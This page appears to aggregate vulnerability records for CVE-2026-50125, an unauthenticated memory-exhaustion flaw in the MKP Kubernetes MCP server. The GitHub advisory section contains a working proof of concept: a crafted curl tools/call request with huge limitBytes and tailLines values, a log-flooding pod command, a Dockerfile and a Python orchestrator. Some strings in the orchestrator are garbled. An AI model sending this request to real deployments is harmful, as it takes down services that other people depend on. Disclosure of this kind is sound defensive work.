Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

MKP: Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-50125

Published

MKP is a Model Context Protocol server for Kubernetes. Prior to 0.4.1, cmd/server/main.go exposes the default HTTP endpoint and pkg/mcp/server.go registers the unauthenticated get_resource tool, which accepts attacker-controlled limitBytes and tailLines values for the pods logs subresource. buildPodLogOpts() in pkg/k8s/subresource.go parses those values as unbounded int64 parameters, and defaultGetPodLogs() copies the returned Kubernetes log stream through io.Copy into an in-memory bytes.Buffer without an application-side cap. A remote attacker who can reach the default port 8080 MCP endpoint and select a pod with sufficiently large accumulated logs can send one tools/call request that causes large allocations and additional response copies, while the request-frequency limiter does not constrain per-request volume. This can exhaust process memory, terminate the MKP server, and deny the MCP service; observed testing showed more than one GiB of RSS growth while handling a 128 MiB requested stream. This issue is fixed in version 0.4.1.

Source published
17 Sep 2026 19:52:37 UTC
Source modified
24 Sep 2026 20:41:39 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2026-82412

Published

MKP is a Model Context Protocol server for Kubernetes. Prior to 0.4.1, cmd/server/main.go exposes the default HTTP endpoint and pkg/mcp/server.go registers the unauthenticated get_resource tool, which accepts attacker-controlled limitBytes and tailLines values for the pods logs subresource. buildPodLogOpts() in pkg/k8s/subresource.go parses those values as unbounded int64 parameters, and defaultGetPodLogs() copies the returned Kubernetes log stream through io.Copy into an in-memory bytes.Buffer without an application-side cap. A remote attacker who can reach the default port 8080 MCP endpoint and select a pod with sufficiently large accumulated logs can send one tools/call request that causes large allocations and additional response copies, while the request-frequency limiter does not constrain per-request volume. This can exhaust process memory, terminate the MKP server, and deny the MCP service; observed testing showed more than one GiB of RSS growth while handling a 128 MiB requested stream. This issue is fixed in version 0.4.1.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 17, 2026, 7:52:37 PM

dateUpdated: Sep 24, 2026, 8:41:39 PM

Source published
Sep 17, 2026, 7:52:37 PM (timezone not stated)
Source modified
Sep 24, 2026, 8:41:39 PM (timezone not stated)
Saved here
15 Nov 2026 14:46:16 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

nvd · CVE-2026-50125

Published

MKP is a Model Context Protocol server for Kubernetes. Prior to 0.4.1, cmd/server/main.go exposes the default HTTP endpoint and pkg/mcp/server.go registers the unauthenticated get_resource tool, which accepts attacker-controlled limitBytes and tailLines values for the pods logs subresource. buildPodLogOpts() in pkg/k8s/subresource.go parses those values as unbounded int64 parameters, and defaultGetPodLogs() copies the returned Kubernetes log stream through io.Copy into an in-memory bytes.Buffer without an application-side cap. A remote attacker who can reach the default port 8080 MCP endpoint and select a pod with sufficiently large accumulated logs can send one tools/call request that causes large allocations and additional response copies, while the request-frequency limiter does not constrain per-request volume. This can exhaust process memory, terminate the MKP server, and deny the MCP service; observed testing showed more than one GiB of RSS growth while handling a 128 MiB requested stream. This issue is fixed in version 0.4.1.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-400

Original publisher date fields

published: 2026-09-17T20:16:50.127

lastModified: 2026-09-30T17:32:07.107

Source published
17 Sep 2026 20:16:50 UTC
Source modified
30 Sep 2026 17:32:07 UTC
Saved here
25 Oct 2026 12:17:38 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-qw5r-ppcg-f8rj

Published

## Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion ### Summary The MKP (Model Context Protocol for Kubernetes) server exposes a `get_resource` MCP tool that proxies Kubernetes pod log requests. User-supplied `limitBytes` and `tailLines` parameters are parsed as unbounded `int64` values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory `bytes.Buffer` using `io.Copy` without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server's memory by sending a single crafted `tools/call` request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with `limitBytes=134217728`. ### Details The vulnerability exists in `pkg/k8s/subresource.go` in the `buildPodLogOpts()` and `defaultGetPodLogs()` functions. **Source — unbounded parameter parsing (`pkg/k8s/subresource.go:171–181`):** ```go // pkg/k8s/subresource.go defaultLimitBytes := int64(32 * 1024) // 32 KB — only used when parameters map is nil ... if limitBytes, ok := parameters["limitBytes"]; ok { if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil { podLogOpts.LimitBytes = &b // no upper-bound check } } if tailLines, ok := parameters["tailLines"]; ok { if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil { podLogOpts.TailLines = &lines // no upper-bound check } } ``` When the `parameters` map is non-nil (always true for attacker-supplied input), `buildPodLogOpts()` is called at `pkg/k8s/subresource.go:94–96` and overwrites the 32 KB default entirely. The attacker can therefore supply any positive `int64` value (up to `2147483647` or `9223372036854775807`) as `limitBytes`. **Sink — unbounded in-memory copy (`pkg/k8s/subresource.go:114–115`):** ```go buf := new(bytes.Buffer) _, err = io.Copy(buf, podLogs) // entire Kubernetes stream copied into RAM ``` The stream from Kubernetes is read without limit into a heap-allocated `bytes.Buffer`. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9×). **Attack path (source → sink):** | Step | Location | Description | |------|----------|-------------| | 1 | `cmd/server/main.go:30` | Server binds to `:8080` on all interfaces; no authentication by default | | 2 | `pkg/mcp/server.go:131` | `NewGetResourceTool()` registered unconditionally (no `--read-write` required) | | 3 | `pkg/mcp/get_resource.go:28–38` | Attacker-controlled `parameters` map parsed from `CallToolRequest` | | 4 | `pkg/mcp/get_resource.go:76` | `client.GetResource(..., parameters)` called | | 5 | `pkg/k8s/subresource.go:32–33` | `resource=pods` + `subresource=logs` routes into `getPodLogs` | | 6 | `pkg/k8s/subresource.go:171–181` | `limitBytes` / `tailLines` parsed without upper bound (source) | | 7 | `pkg/k8s/subresource.go:114–115` | `io.Copy(buf, podLogs)` loads full stream into `bytes.Buffer` (sink) | The rate limiter (`pkg/ratelimit/config.go:16–17`) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation. **Suggested remediation:** ```diff +const ( + maxPodLogTailLines int64 = 1000 + maxPodLogLimitBytes int64 = 1024 * 1024 // 1 MB hard cap +) + buf := new(bytes.Buffer) -_, err = io.Copy(buf, podLogs) +limitedLogs := &io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1} +_, err = io.Copy(buf, limitedLogs) +if limitedLogs.N == 0 { + return nil, fmt.Errorf("pod logs exceed maximum size of %d bytes", maxPodLogLimitBytes) +} if limitBytes, ok := parameters["limitBytes"]; ok { if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil { + if b <= 0 || b > maxPodLogLimitBytes { + b = maxPodLogLimitBytes + } podLogOpts.LimitBytes = &b } } if tailLines, ok := parameters["tailLines"]; ok { if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil { + if lines <= 0 || lines > maxPodLogTailLines { + lines = maxPodLogTailLines + } podLogOpts.TailLines = &lines } } ``` ### PoC **Prerequisites** - Docker (for self-contained reproduction) - A running Kubernetes cluster with a pod whose logs are large (for real-environment testing) - MKP server accessible on port 8080 --- **Option A — Self-contained Docker reproduction (Phase 2 method)** This method uses a mock Kubernetes API that streams 128 MB of log data: ```bash # 1. Clone the repository and enter it git clone https://github.com/StacklokLabs/mkp.git cd mkp # 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/) docker build -t mkp-vuln-001 -f vuln-001/Dockerfile . # 3. Run the exploit container — output includes RSS measurements docker run --rm mkp-vuln-001 ``` Expected output (condensed): ``` Initial RSS: 26464 kB ( 25.8 MB) t+01s: MKP RSS = 383080 kB ( 374.1 MB) [in-progress] t+02s: MKP RSS = 683876 kB ( 667.8 MB) [in-progress] t+03s: MKP RSS = 945008 kB ( 922.9 MB) [in-progress] t+06s: MKP RSS = 1207560 kB (1179.3 MB) [in-progress] Peak RSS: 1207572 kB (1179.3 MB) Delta RSS: 1181108 kB (1153.4 MB) VERDICT: CONFIRMED — RSS grew 1153.4 MB (limitBytes=128 MB) ``` --- **Option B — Real Kubernetes environment (manual)** ```bash # 1. Build and start MKP server (default transport: streamable-http on :8080) git clone https://github.com/StacklokLabs/mkp.git && cd mkp task build ./build/mkp-server --kubeconfig=/path/to/kubeconfig # 2. Create a pod that generates large logs kubectl -n default run logbomb --image=busybox --restart=Never -- \ sh -c 'yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' # Wait ~30 seconds for logs to accumulate, then: # 3. Send the exploit request curl -sS http://127.0.0.1:8080/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ --data '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "get_resource", "arguments": { "resource_type": "namespaced", "group": "", "version": "v1", "resource": "pods", "namespace": "default", "name": "logbomb", "subresource": "logs", "parameters": { "tailLines": "999999999", "limitBytes": "2147483647" } } } }' ``` **Expected observation:** MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable. ### Impact This is an **unauthenticated remote Denial of Service (DoS)** vulnerability affecting any deployment of MKP server accessible over the network. **Who is impacted:** - Any operator running `mkp-server` in its default configuration (no `--read-write` flag required; `get_resource` is registered by default on `:8080` without authentication). - Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g., `kube-system` workloads in production clusters almost always satisfy this condition). - Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable. A single `tools/call` request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with `limitBytes=2147483647` (~2 GB) will exhaust memory before any subsequent requests are needed. No authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # ── Stage 1: Build mkp-server ───────────────────────────────────────────────── FROM golang:1.25 AS builder # GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain # matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient. ENV GOTOOLCHAIN=local ENV CGO_ENABLED=0 WORKDIR /src # Copy the source tree (build con = parent of vuln-001/) COPY repo/ . RUN go build -o /mkp-server ./cmd/server # ── Stage 2: Runtime ───────────────────────────────────────────────────────── FROM python:3.12-slim RUN apt-get update && \ apt-get install -y --no-install-recommends procps curl && \ rm -rf /var/lib/apt/lists/* COPY --from=builder /mkp-server /usr/local/bin/mkp-server COPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py COPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml COPY vuln-001/exploit.py /workspace/exploit.py COPY vuln-001/entrypoint.sh /workspace/entrypoint.sh RUN chmod +x /workspace/entrypoint.sh CMD ["/workspace/entrypoint.sh"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 Dynamic Reproduction Orchestrator. Build: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile . Run : docker run --rm mkp-vuln-001 Evidence criterion: MKP RSS grows by ≥ 50 MB while processing a single tools/call request with limitBytes=134217728 (128 MB), proving that defaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer. """ import json import os import re import subprocess import sys from pathlib import Path WORK_DIR = Path(__file__).parent.resolve() REPO_ROOT = WORK_DIR.parent IMAGE = "mkp-vuln-001" BUILD_CMD = f"docker build -t {IMAGE} -f vuln-001/Dockerfile ." RUN_CMD = f"docker run --rm {IMAGE}" # ───────────────────────────────────────────────────────────────────────────── def run_streaming(cmd: str, cwd=None) -> tuple[int, str]: """Run a shell command, stream its output, and return (rc, full_output).""" proc = subprocess.Popen( cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, cwd=cwd, ) lines = [] for line in proc.stdout: print(line, end='', flush=True) lines.append(line) proc.wait() return proc.returncode, ''.join(lines) def save_result(result: dict): path = WORK_DIR / 'phase2_result.json' with open(path, 'w', encoding='utf-8') as f: json.dump(result, f, ensure_ascii=False, indent=2) print(f"\n[poc] Result saved → {path}") def parse_evidence(output: str) -> dict: ev: dict = {} m = re.search(r'Initial RSS\s*:\s*(\d+)', output) if m: ev['initial_kb'] = int(m.group(1)) ev['initial_mb'] = ev['initial_kb'] / 1024 m = re.search(r'Peak RSS\s*:\s*(\d+)', output) if m: ev['peak_kb'] = int(m.group(1)) ev['peak_mb'] = ev['peak_kb'] / 1024 m = re.search(r'Delta RSS\s*:\s*(\d+)\s*kB\s*\(([0-9.]+)\s*MB\)', output) if m: ev['delta_kb'] = int(m.group(1)) ev['delta_mb'] = float(m.group(2)) elif 'peak_kb' in ev and 'initial_kb' in ev: ev['delta_kb'] = ev['peak_kb'] - ev['initial_kb'] ev['delta_mb'] = ev['delta_kb'] / 1024 m = re.search(r'VERDICT:\s*(CONFIRMED|INCONCLUSIVE)[^\n]*', output) if m: ev['verdict_line'] = m.group(0) return ev def extract_evidence_block(output: str) -> str: """Return the EVIDENCE SUMMARY block, or the last 3000 chars.""" m = re.search(r'={10,}\nEVIDENCE SUMMARY.*?={10,}', output, re.DOTALL) if m: return m.group(0)[:3000] return output[-3000:] # ───────────────────────────────────────────────────────────────────────────── def main(): print("=" * 60) print("VULN-001: Unbounded Pod Log Read — Dynamic Reproduction") print("=" * 60) os.chdir(REPO_ROOT) # ── Docker build ────────────────────────────────────────────────────────── print(f"\n[poc] Building Docker image…\n[poc] {BUILD_CMD}\n") rc, build_output = run_streaming(BUILD_CMD) if rc != 0: reason = f"Docker build failed (exit {rc}). text error: {build_output[-800:]}" save_result({ "passed": False, "verdict": "FAIL", "reason": reason, "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": "python3 vuln-001/poc.py", "evidence": build_output[-2000:], "artifacts": ["Dockerfile", "poc.py"], }) print(f"\n[poc] FAIL: {reason}") return False print("\n[poc] Build OK.") # ── Docker run ──────────────────────────────────────────────────────────── print(f"\n[poc] Running exploit container…\n[poc] {RUN_CMD}\n") rc, run_output = run_streaming(f"{RUN_CMD} 2>&1") print(f"\n[poc] Container exited (code={rc})") ev = parse_evidence(run_output) delta_mb = ev.get('delta_mb', 0.0) print(f"[poc] Parsed evidence: {ev}") # ── Verdict ─────────────────────────────────────────────────────────────── passed = delta_mb >= 50.0 if passed: verdict = "PASS" init_mb = ev.get('initial_mb', 0) peak_mb = ev.get('peak_mb', 0) reason = ( f"MKP server RSStext {init_mb:.1f} MB → {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. " f"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters " f"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text " f"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed." ) else: verdict = "INCOMPLETE" reason = ( f"RSS text {delta_mb:.1f} MB — 50 MB criteria text. " f"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, " f"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}" ) result = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": "python3 vuln-001/poc.py", "evidence": extract_evidence_block(run_output), "artifacts": ["Dockerfile", "poc.py"], } save_result(result) print(f"\n[poc] {'PASS' if passed else 'INCOMPLETE'}: {reason}") return passed if __name__ == '__main__': ok = main() sys.exit(0 if ok else 1) ```

Source published
14 Jul 2026 18:09:48 UTC
Source modified
21 Jul 2026 19:19:25 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

osv · GO-2026-5978

Published

MKP: Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion in github.com/StacklokLabs/mkp

Source published
17 Jul 2026 19:42:05 UTC
Source modified
21 Jul 2026 19:15:29 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 17 Nov 05:57 UTC · 274 of 275 readable · 250 fully read · 20 waiting for GitHub's hourly limit · documentation 469/469 current